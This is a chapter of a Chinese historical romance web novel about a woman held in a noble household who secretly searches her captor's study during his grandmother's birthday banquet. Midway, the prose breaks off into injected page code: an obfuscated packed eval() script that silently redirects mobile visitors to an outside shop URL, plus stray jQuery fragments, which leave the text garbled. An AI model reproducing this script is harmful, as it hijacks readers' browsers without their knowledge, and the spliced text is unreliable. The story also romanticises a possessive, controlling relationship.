水声隔着屏风隐隐传来。
这是卫恪焉洗的第三次澡了。
舒晏躺在榻上,睁着眼看着帐顶的绣纹,也叹了今晚的第三次气。
本是炎热的夏日,她却把身子往被子里缩了缩。
屋内四角都已摆了冰鉴,丝丝缕缕的凉气浸得她都有些冷了,却难压住卫恪焉的火气。
她自来了卫府,就好似羊入了虎口。
那卫恪焉黏得她密不透风,她连片刻的独处也无,更别说去查看卷宗。
晚上也赖着与她睡在一处,她推脱说夏日黏在一起容易发汗不舒服,他就搬来了这许多冰块。
他虽是惯会出尔反尔的人,倒也还守着他们的约定,等着她还俗,并未做出什么逾矩的事来。
大概是她终于到了他的地盘,他安心了很多,现在也不着急将她吞吃入腹,就像是老鼠抓到了耗子,舍不得直接吃掉,只肯拿牙慢慢的磨。
可他日日叫水冲凉,府中上下无不以为他们俩夜夜颠鸾倒凤、不知天地为何物。
唯一的好处大概就是院内的丫鬟都以为她得宠的紧,故而也很听她的话。
屏风后的水声停了。
带着凉意的身体又贴了过来,舒晏忙合上了眼睛装睡。卫恪焉喉间溢出轻笑,胸口细微的颤动贴着舒晏的后背传至心口。
“我知道你没睡着。”他撑着身子勾着头看她,“你且再和我说说话,明日祖母寿宴我不扰你,你想睡多久就睡多久。”
舒晏眼皮下的眼睛转了转,却还是不肯睁眼。
卫恪焉就趴在她的耳边,贴过去慢慢地说:“等你还俗礼过了我再带你出去瞧瞧。明日有什么好吃的、好玩的,我就差人给你送来。”
薄唇轻轻蹭着她颈后的皮肤,缓慢地逡巡。
舒晏痒得偏过头,下意识动了动。
卫恪焉身形骤然一僵,发出微妙的闷哼声,随后慌忙拉开两人的距离。
又来了。
感受到后腰处奇怪的触感消失了,她才带着些不耐开口:“能不能别折腾了,还想再叫一次水吗?”
她背着身,看不见身后人的眼睛里几乎馋得在冒绿光。
身后传来吞咽声,卫恪焉沙哑的声音响起:“你先睡吧。”
床榻微微震动,他起了身。
没过多久,屏风后又传来潺潺水声。
舒晏也叹了今晚的第四次气。
她睁开眼,也不知卫恪焉还能忍多久,看来有些事还是要早做打算。
翌日清晨,卫恪焉果真没来闹她,轻手轻脚的收拾好就出门了。
待脚步声远了,早就醒了的舒晏一下坐了起来。
门外守着的丫鬟听见动静,忙进来伺候她起身。
“今日府中寿宴,我也不拘着你们,眼下也没有要伺候的地方,你们去玩会儿吧。”
丫鬟们知晓这个娘子性情古怪,来了的这几日,生活琐事几乎从不假手于人,甚至有时都是大郎君去伺候她,因此也不觉有异。
于是领了赏钱,开开心心地离开了。
守在墙头盯着的鸢儿见院中没了人,立刻翻了墙进来。
“没人跟着你吗?”
“元辞跟着卫恪焉去前厅了,元骁原本守在院前,我和他比武把他打晕了。”
“那好,我们走吧,去书房。”
————
前厅卫家老太太的寿宴,自然盛大非凡,来往宾客络绎不绝。
卫恪焉与卫夫人于前厅应付宾客。
卫琼韶便与她二哥卫玄玦守在前厅廊下,负责接引一众同辈宾客。
他二人向来不对付,兄妹待客间隙,句句针锋相对。
“你去大哥院里请安,可见着那女子了?这几日府中可热闹得紧呢。”
见他不理她,卫琼韶面上挂着待客的得体浅笑一顿,低声打趣道:
“二哥看着似精神不佳啊,恐怕是前几日挨了家法,皮肉还没养好?”
卫玄玦脸上虽也绷着浅笑,但后背刚刚结痂的伤口,行动间被衣料反复摩擦,痒意钻着皮肉,刺得他心头烦躁。
正巧,前头来了个穿着儒衫的年轻郎君,约莫和卫琼韶一个年纪,面庞莹润还带着些未褪去的婴儿肥。
他抬眼看见卫琼韶,原本温吞的脚步更慢了一些,全然一副畏畏缩缩的模样。
卫玄玦瞥见来人,唇角的笑意终于真切几分,他离得她近了些,用只有他们二人听见的音量说话:
“瞧这是谁来了,这不是母亲给你相看的小郎君沈儒吗,听说你不愿意便闹了一场,可他来赴宴必是家里发了帖子,看来母亲是心意已定啊。”
他又上下扫了她一眼,“还是母亲慧眼,他果真是与你登对的紧。”
卫琼韶刹时怒极,说她与沈儒登对,无疑是把她往泥里踩。
纵然同是世家,但世族之间也是分得出三六九等,每一阶都是鸿沟,他沈家与卫家这般顶级门阀相较,差得何止千里。
因着此事,她没少被闺中姐妹取笑,早就不许任何人再提,她这次是真恼了他。
大多数宾客早已入了前厅,廊下已没了宾客,下人们也都识趣的躲开。
卫琼韶终于将笑意放下,她对着已经走近了的沈儒讥讽道:“我不是已经拒绝了你,怎么还巴巴的凑上来,沈家就是这样不识眉眼高低吗?”
只见沈儒的脚步猛的顿住,头埋得快要抵住胸口。他身子紧绷,身侧的手还死死地搅着衣角,说话时吞吞吐吐,语声微弱又怯懦:
“我……我是奉家中长辈之命前来赴宴,并无攀附娘子之意……是我不识眼色,是我冒昧,娘子若是不想看到我,我这就立刻离开绝不碍了娘子的眼。”
又是这副全然无辜的姿态,好像是她欺负了他似的,卫琼韶心中的火苗被他激得一蹦三尺高。
他是收了帖子来的,她这个主人家还能给他赶走?
真是惺惺作态。
卫玄玦还在一旁火上浇油,“来者都是客,妹妹何必如此咄咄逼人?”
气氛一时胶住。
“够了。”是卫恪焉从前厅出来,身后还跟着许俏。
卫玄玦和卫琼韶见他来了,顿时成了鹌鹑不再出声。
卫恪焉的眼神从面前耷拉着眉眼,一副怯懦样的沈儒身上扫过,他在心里暗自摇头,一个男子这般窝窝囊囊立不起来,实在是无用。
“宴会开始了,既是客人,还是请先入座吧。”
沈儒抿着唇,朝着他连声道谢,才唯唯诺诺跟着小厮入了坐。
卫恪焉转头看向剩下的两个人,面无表情道:“今日祖母寿宴,莫要生事。”
卫琼韶见大哥替外人说话,心里正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793320|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
恼,眼角瞥见卫玄玦那副幸灾乐祸的嘴脸,忽然眼珠子一转,对着大哥道:
“大哥,今日祖母宴席,本该宾客同贺,人人尽欢才好。方才二哥还同我念叨,眼馋席上的珍藏佳酿,大哥不如允他今日多饮几杯。”
卫玄玦不知她起了什么坏心,只知道大哥又看向了他,不紧不慢地说:
“妹妹既体贴你,我今日便允你多喝些,只是勿要发酒疯,否则有你好看的。”
卫恪焉说罢便与许俏到移步至庭院僻静处谈话。
许俏素来张扬,今日更是穿了身石青锦纹劲装,衬得他眉眼愈发生动。
“你猜我近日得了什么?”
卫恪焉抿着茶,不以为意:“左不过又是些飞禽走兽,前些日子你不是还稀罕着御赐的汗血宝马吗,还能有什么更稀奇的?”
“无趣,这次的不一样。”
许俏左右张望,确认无人留意,才从宽袖中捧出一物。
“你瞧这青鸟,灵性得很。先前喂了它几粒松子,竟一路跟着我从浔川郡到珞郡,赶都赶不走。”
卫恪焉仔细打量,这青鸟果真乖巧,立在许俏手中摇头晃脑却也不想逃。
“你这衣服也是为了配它?”
“看出来了?是不是相得益彰?”
许俏正要继续夸耀,原本乖巧的青鸟却似感应到什么,开始不安分地扑棱着翅膀,准备向北面飞去。
他眼疾手快,一把拽住了马上要飞远的青鸟,青鸟一个趔趄被拉了回来。
还好他早有准备,担心今日宴会人多,这鸟乱飞,提前在青鸟脚踝处锁着一截细银链,否则定是要飞跑了。
许俏讪讪,“今日人多吓着了,哈哈哈。”
二人这才说起了正事。
“珞郡后续都安置妥了?让你查的纹样可清楚是谁家的了?”
“刘廷和济微审不出什么了,已遣人往京城送了,背后的主使定是要坐立难安了。”许俏逗弄着青鸟笑了起来。
青鸟不满的开始大叫。
许俏一边手忙脚乱的剥松子堵住它的嘴,一边抽空道:“你记性那么好,稍微叫的出名号的世家纹样你应该也记得住,这个纹样只能是小世族的,我大抵筛出了一些,但现在还不能完全确定。”
卫恪焉见这青鸟竟莫名觉得可爱,忍不住戳了戳。
“没落寒族没有底蕴,想着以小博大,只能为高门世家所用。能养的了私兵,定是与那几个高门世家勾结,盯着这几家,看看那两个犯人押送进京后有什么动静,或许很快就会露出马脚了。”
许俏忙把青鸟藏回袖中,“这我知道。话说你把小道姑带回来了?她逃跑那事就轻轻揭过了?”
这话轻易戳破了卫恪焉的岁月静好,他收回手,冷下了脸。
“你胡说什么,栖尘只是一时想叉了,她又不是故意的。本来我这有一匹马鞍要送给你的,看来你是不想要了。”
许俏翻了个白眼,顾及着马鞍没有继续戳破,“是是是,你就这么自欺欺人下去吧。你把她带回来,你家中竟也没闹?就这样轻易同意你纳个道姑为侧室?今日寿宴也不见她的身影,莫不是你还没和家里人说?”
卫恪焉微蹙着眉,嫌恶他多事。
“我已安排好了,等寿宴结束便带她还俗,那时便不是道姑了,到时候再见也不迟。”